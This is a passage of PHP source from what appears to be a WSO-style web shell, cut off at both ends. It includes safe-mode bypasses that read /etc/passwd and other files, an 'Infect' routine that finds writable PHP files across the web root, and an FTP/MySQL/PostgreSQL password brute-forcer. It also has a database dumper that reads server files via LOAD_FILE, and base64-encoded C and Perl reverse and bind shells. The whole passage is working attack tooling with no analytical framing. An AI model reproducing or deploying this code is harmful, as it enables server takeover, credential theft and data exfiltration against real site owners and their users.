onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\n\tif($temp)\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionLogout() {\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\tdie(\'bye!\');\n}\nfunction actionSelfRemove() {\n\tif($_POST[\'p1\'] == \'yes\')\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\t\t\tdie(\'Shell has been removed\');\n\t\telse\n\t\t\techo \'unlink error!\';\n    if($_POST[\'p1\'] != \'yes\')\n        hardHeader();\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\thardFooter();\n}\nfunction actionInfect() {\n\thardHeader();\n\techo \'<h1>Infect</h1><div class=content>\';\n\tif($_POST[\'p1\'] == \'infect\') {\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\n\t\t\tfunction ListFiles($dir) {\n\t\t\t\tif($dh = opendir($dir)) {\n\t\t\t\t\t$files = Array();\n\t\t\t\t\t$inner_files = Array();\n\t\t\t\t\twhile($file = readdir($dh)) {\n\t\t\t\t\t\tif($file != "." && $file != "..") {\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\treturn $files;\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach (ListFiles($target) as $key=>$file){\n\t\t\t\t$nFile = substr($file, -4, 4);\n\t\t\t\tif($nFile == ".php" ){\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\n\t\t\t\t\t\techo "$file<br>";\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\techo "<font color=red size=14>$i</font>";\n\t\t}else{\n\t\t\techo "<form method=post><input type=submit value=Infect name=infet></form>";\n\t\t\techo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\n\t\t}\n\thardFooter();\n}\nfunction actionBruteforce() {\n\thardHeader();\n\tif( isset($_POST[\'proto\']) ) {\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\t\t\t\tif(!$fp) return false;\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\t\t\t\t@ftp_close($fp);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\t\t\t\t@mysql_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\t\t\t\t$res = @pg_connect($str);\n\t\t\t\t@pg_close($res);\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t}\n\t\t$success = 0;\n\t\t$attempts = 0;\n\t\t$server = explode(":", $_POST[\'server\']);\n\t\tif($_POST[\'type\'] == 1) {\n\t\t\t$temp = @file(\'/etc/passwd\');\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = explode(":", $line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\t\t\t\t\t\t$tmp = "";\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\t\t\t\t\t\t++$attempts;\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\t\t\t\t\t\t\t$success++;\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t} elseif($_POST[\'type\'] == 2) {\n\t\t\t$temp = @file($_POST[\'dict\']);\n\t\t\tif( is_array($temp) )\n\t\t\t\tforeach($temp as $line) {\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\t++$attempts;\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\t\t\t\t\t\t$success++;\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n\t}\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n\t\t.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n\t\t.\'<input type=hidden name=ne  value="">\'\n\t\t.\'<span>Server:port</span></td>\'\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n\t\t.\'<tr><td><span>Brute type</span></td>\'\n\t\t.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\n\t\t.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\n\t\t.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionSql() {\n\tclass DbClass {\n\t\tvar $type;\n\t\tvar $link;\n\t\tvar $res;\n\t\tfunction DbClass($type)\t{\n\t\t\t$this->type = $type;\n\t\t}\n\t\tfunction connect($host, $user, $pass, $dbname){\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$host = explode(\':\', $host);\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction selectdb($db) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif (@mysql_select_db($db))return true;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction query($str) {\n\t\t\tswitch($this->type) {\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = @mysql_query($str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction fetch() {\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_fetch_assoc($res);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listDbs() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n                        return $this->query("SHOW databases");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction listTables() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction error() {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn @mysql_error();\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_last_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction setCharset($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction loadFile($str) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\n\t\t\t\t\t$r=array();\n\t\t\t\t\twhile($i=$this->fetch())\n\t\t\t\t\t\t$r[] = $i[\'file\'];\n\t\t\t\t\t$this->query(\'drop table hard2\');\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tfunction dump($table, $fp = false) {\n\t\t\tswitch($this->type)\t{\n\t\t\t\tcase \'mysql\':\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\t\t\t\t\t$create = mysql_fetch_array($res);\n\t\t\t\t\t$sql = $create[1].";\\n";\n                    if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n                    $i = 0;\n                    $head = true;\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n                        $sql = \'\';\n                        if($i % 1000 == 0) {\n                            $head = true;\n                            $sql = ";\\n\\n";\n                        }\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n                            if($v === null)\n                                $▟[$k] = "NULL";\n                            elseif(is_int($v))\n                                $▟[$k] = $v;\n                            else\n                                $▟[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\t\t\t\t\t\t}\n                        if($head) {\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $▟).\')\';\n                            $head = false;\n                        } else\n                            $sql .= "\\n\\t,(".implode(", ", $▟).\')\';\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $i++;\n\t\t\t\t\t}\n                    if(!$head)\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\t\t\t\tbreak;\n\t\t\t\tcase \'pgsql\':\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\t\t\t\t\twhile($▟ = $this->fetch()) {\n\t\t\t\t\t\t$columns = array();\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\n\t\t\t\t\t\t\t$▟[$k] = "\'".addslashes($v)."\'";\n\t\t\t\t\t\t\t$columns[] = $k;\n\t\t\t\t\t\t}\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $▟).\');\'."\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t};\n\t$db = new DbClass($_POST[\'type\']);\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\t\t$db->selectdb($_POST[\'sql_base\']);\n        switch($_POST[\'charset\']) {\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n            case "cp866": $db->setCharset(\'cp866\'); break;\n        }\n        if(empty($_POST[\'file\'])) {\n            ob_start("ob_gzhandler", 4096);\n            header("Content-Disposition: attachment; filename=dump.sql");\n            header("Content-Type: text/plain");\n            foreach($_POST[\'tbl\'] as $v)\n\t\t\t\t$db->dump($v);\n            exit;\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n            foreach($_POST[\'tbl\'] as $v)\n                $db->dump($v, $fp);\n            fclose($fp);\n            unset($_POST[\'p2\']);\n        } else\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\t}\n\thardHeader();\n\techo "\n<h1>Sql browser</h1><div class=content>\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n<td><label><select name=\'type\'><option value=\'mysql\' ";\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\necho ">MySql</option><option value=\'pgsql\' ";\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\necho ">PostgreSql</option></select></label></td>\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\" required></td><td>";\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\tif(isset($_POST[\'sql_host\'])){\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\t\t\tswitch($_POST[\'charset\']) {\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\t\t\t}\n\t\t\t$db->listDbs();\n\t\t\techo "<label><select name=sql_base><option value=\'\'></option>";\n\t\t\twhile($▟ = $db->fetch()) {\n\t\t\t\tlist($key, $value) = each($▟);\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\t\t\t}\n\t\t\techo \'</select></label>\';\n\t\t}\n\t\telse echo $tmp;\n\t}else\n\t\techo $tmp;\n\techo "</td>\n\t\t\t\t<td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value=\'\';\n                    if(f.p2) f.p2.value=\'\';\n                    if(f.p3) f.p3.value=\'\';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = \'select\';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\n\t\t\t}\n\t\t</script>";\n\tif(isset($db) && $db->link){\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\n\t\t\tif(!empty($_POST[\'sql_base\'])){\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\n\t\t\t\t$tbls_res = $db->listTables();\n\t\t\t\twhile($▟ = $db->fetch($tbls_res)) {\n\t\t\t\t\tlist($key, $value) = each($▟);\n                    if(!empty($_POST[\'sql_count\']))\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\n\t\t\t\t\t$value = htmlspecialchars($value);\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\n\t\t\t\t}\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\n\t\t\t\t\t$num = $db->fetch();\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\n                    echo " of $pages";\n                    if($_POST[\'p3\'] > 1)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\n                    if($_POST[\'p3\'] < $pages)\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\n                    $_POST[\'p3\']--;\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\n\t\t\t\t\telse\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\n\t\t\t\t\techo "<br><br>";\n\t\t\t\t}\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\n\t\t\t\t\tif($db->res !== false) {\n\t\t\t\t\t\t$title = false;\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main>\';\n\t\t\t\t\t\t$line = 1;\n\t\t\t\t\t\twhile($▟ = $db->fetch())\t{\n\t\t\t\t\t\t\tif(!$title)\t{\n\t\t\t\t\t\t\t\techo \'<tr>\';\n\t\t\t\t\t\t\t\tforeach($▟ as $key => $value)\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\n\t\t\t\t\t\t\t\treset($▟);\n\t\t\t\t\t\t\t\t$title=true;\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\n\t\t\t\t\t\t\t\t$line = 2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\n\t\t\t\t\t\t\t$line = $line==1?2:1;\n\t\t\t\t\t\t\tforeach($▟ as $key => $value) {\n\t\t\t\t\t\t\t\tif($value == null)\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo \'</tr>\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \'</table>\';\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\n                    echo htmlspecialchars($_POST[\'p2\']);\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\n\t\t\t\techo "</td></tr>";\n\t\t\t}\n\t\t\techo "</table></form><br/>";\n            if($_POST[\'type\']==\'mysql\') {\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\n                if($db->fetch())\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";\n            }\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\n\t\t\t}\n\t} else {\n        echo htmlspecialchars($db->error());\n    }\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionNetwork() {\n\thardHeader();\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAg